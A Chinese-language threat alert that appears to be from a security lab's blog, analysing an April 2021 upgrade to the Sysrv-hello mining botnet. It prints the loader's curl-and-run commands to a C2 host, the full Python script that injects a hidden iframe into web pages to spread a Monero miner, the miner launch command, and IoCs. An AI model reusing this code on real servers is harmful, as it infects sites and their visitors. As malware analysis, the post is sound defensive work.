sysrv

威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力

LIU Ya, YANG XU, jinye

Apr 28, 2021 • 4 min read

版权

概述

从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[rinfo][zominer]。最新的案例来自Sysrv-hello，本来近期已经有2家安全公司先后分析过该家族的新变种[1][2]，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。

新模块a.py和BrowserUpdate.exe

我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是ldr.sh，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：

```
curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
```

能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。

分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：

```
import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".a
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="asyn
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
```

这段代码的功能是遍历`"/var"`、`"/usr/local"`、`"/home"`和`"/opt"`目录，寻找具有`".html"`、`".php"`、`".htm"`、`".jsp"`、`".asp"`或者`".tpl"`后缀的网页文件，找到后就在其中插入一段iframe代码：

```
<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
```

这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。

BrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是CoinMiner类型的恶意程序，该exe运行后会释放2个64位的PE文件：

```
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x4000000
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0
```

然后BrowserUpdate.exe会通过如下命令运行释放的程序：

```
cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanc
```

上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组xmrig套件，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有分析，这里不再赘述。

总结

通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。

考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。

联系我们

感兴趣的读者，可以通过twitter或者邮件netlab[at]360.cn联系我们。

IoC

MD5

```
833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS
```

URL

```
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
```

矿池和钱包

```
矿池: xmr-eu2.nanopool.org:14444
钱包: 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XT
```

Threat Alert: New update from Sysrv-hello, now infecting victims' webpages to push malicious exe to end users

1 post →

infecting victims' webpages to push malicious exe to end users

Overview From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [rinfo][z0miner]. And the latest case comes from Sysrv-hello.


Apr 29, 2021 · 3 min read

backdoor with 0 VT detection

Overview On March 25, 2021, 360 NETLAB's BotMon system flagged a suspiciousELF file (MD5=64f6cfe44ba08b0babdd3904233c4857) with 0 VT detection, the sample communicates with 4 domains on TCP 443 (HTTPS), but the traffic is not of TLS/SSL. A close look at the sample revealed it to be a


Apr 28, 2021 · 12 min read